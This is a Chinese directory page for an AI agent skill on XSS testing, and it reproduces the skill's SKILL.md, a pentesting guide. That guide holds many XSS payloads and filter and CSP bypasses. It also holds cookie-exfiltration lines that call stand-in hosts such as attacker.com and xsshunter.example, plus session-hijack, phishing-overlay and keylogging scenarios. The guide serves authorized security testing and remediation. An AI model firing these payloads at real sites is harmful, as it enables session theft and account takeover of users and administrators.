Token导航 LogoToken导航

Agent Skill · 研究检索

testing-for-xss-vulnerabilities(测试 xss 漏洞)

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

testing-for-xss-vulnerabilities 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为操作浏览器;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 40,765。

总安装 1,248周安装 51GitHub Stars 5,881下载 404核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:testing-for-xss-vulnerabilities(测试 xss 漏洞)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/testing-for-xss-vulnerabilities
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xss-vulnerabilities
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xss-vulnerabilities

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于检测跨站脚本(XSS)漏洞,保障前端安全。适合在用户输入、富文本渲染等场景进行漏洞扫描。通过模拟攻击载荷验证输出是否被正确转义。应配合真实业务数据测试,避免仅依赖通用 payload。testing-for-xss-vulnerabilities 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/testing-for-xss-vulnerabilities

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要操作浏览器,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

testing-for-xss-vulnerabilities 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

testing-for-xss-vulnerabilities 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

testing-for-xss-vulnerabilities 需要什么权限?

权限级别是操作浏览器。该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

testing-for-xss-vulnerabilities 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

testing-for-xss-vulnerabilities 用的人多吗?

公开数据是累计安装 1,248 次,近一周安装 51 次,下载 404 次,GitHub 5,881 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

testing-for-xss-vulnerabilities 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,881 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
testing-for-xss-vulnerabilities

测试 xss 漏洞 · 本页

1,2485,881操作浏览器未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Testing for XSS Vulnerabilities

When to Use

  • Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
  • Evaluating the effectiveness of input sanitization and output encoding across all application features
  • Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
  • Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
  • Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

  • Authorized scope defining the target web application and acceptable testing activities
  • Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
  • Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
  • XSS Hunter or Burp Collaborator for out-of-band payload verification
  • SecLists XSS payload lists and custom payloads for WAF bypass scenarios
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

  • Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
  • Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
  • DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
  • Output context identification: For each reflected input, determine the rendering context:

- HTML body: <div>USER_INPUT</div> - HTML attribute: <input value="USER_INPUT"> - JavaScript string: var x = 'USER_INPUT'; - URL context: <a href="USER_INPUT"> - CSS context: <div style="color: USER_INPUT">

Step 2: Reflected XSS Testing

Test reflected injection points with context-appropriate payloads:

  • HTML body context: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
  • HTML attribute context: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
  • JavaScript string context: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
  • URL/href context: javascript:alert(1), data:text/html,<script>alert(1)</script>
  • Inside HTML comments: --><script>alert(1)</script><!--
  • Filter bypass payloads (when basic payloads are blocked):

- Case variation: <ScRiPt>alert(1)</sCrIpT> - Event handlers: <details open ontoggle=alert(1)> - SVG: <svg><animate onbegin=alert(1) attributeName=x> - Encoding: <img src=x onerror=alert(1)>

Step 3: Stored XSS Testing

Test persistent storage points that render input to other users:

  • Submit XSS payloads to every stored input field identified in Step 1
  • Use a unique identifier in each payload to track which inputs trigger: <script>alert('XSS-PROFILE-001')</script>
  • Check all locations where the stored input is rendered (the same input may appear on multiple pages)
  • Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
  • Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
  • Use XSS Hunter payloads ("><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

Step 4: DOM-Based XSS Testing

Analyze client-side JavaScript for unsafe DOM manipulation:

  • Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:

- document.location, document.URL, document.referrer - location.hash, location.search, location.href - window.name, postMessage event data

  • Sink identification: Search for dangerous sinks that write to the DOM:

- innerHTML, outerHTML, document.write(), document.writeln() - eval(), setTimeout(), setInterval(), Function() - element.setAttribute() with event handlers, jQuery.html(), .append(), v-html (Vue), dangerouslySetInnerHTML (React)

  • Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
  • Framework-specific testing: Test React dangerouslySetInnerHTML, Angular template injection ({{constructor.constructor('alert(1)')()}}), Vue v-html directive

Step 5: CSP Bypass and Advanced Exploitation

Test Content Security Policy effectiveness and demonstrate real-world impact:

  • CSP analysis: Review the CSP header for weaknesses:

- unsafe-inline in script-src allows inline scripts - unsafe-eval allows eval() and similar functions - Wildcard domains (*.googleapis.com) may host JSONP endpoints usable for CSP bypass - base-uri not set allows <base> tag injection to redirect relative script loads

  • JSONP bypass: If CSP allows a domain with JSONP endpoints, use <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
  • Impact demonstration:

- Session hijacking: <script>new Image().src="https://attacker.com/steal?c="+document.cookie</script> - Credential phishing: Inject a fake login form overlay that submits to the attacker's server - Keylogging: Inject JavaScript that captures keystrokes on the page - Account takeover: Use XSS to change the victim's email address and trigger a password reset

Key Concepts

TermDefinition
Reflected XSSNon-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL
Stored XSSPersistent XSS where the payload is saved on the server and served to other users who view the affected page
DOM-Based XSSXSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink
Content Security PolicyHTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS
Output EncodingConverting special characters to their HTML entity equivalents (e.g., < to <) to prevent the browser from interpreting user input as code
SinkA JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized

Tools & Systems

  • Burp Suite Professional: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
  • XSS Hunter: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
  • DOMPurify: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
  • Browser Developer Tools: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time

Common Scenarios

Scenario: Stored XSS in Customer Support Ticket System

Context: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.

Approach:

  1. Submit a support ticket with a unique XSS Hunter payload in the ticket description
  2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot
  3. Use the captured admin session cookie to access the admin panel as the support agent
  4. From the admin panel, access customer records, order data, and refund functionality
  5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised
  6. Test if CSP would have prevented the attack (in this case, no CSP header was present)

Pitfalls:

  • Only testing for <script>alert(1)</script> and missing XSS that fires through event handlers or in non-HTML contexts
  • Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
  • Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
  • Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards

Output Format

## Finding: Stored XSS in Support Ticket Description

**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)

**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.

**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.

**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.

**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
   DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)

平台分布

Codex

37.77%
按下载量换算153

Claude

28.04%
按下载量换算113

Cursor

17.77%
按下载量换算72

Gemini CLI

10.35%
按下载量换算42

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills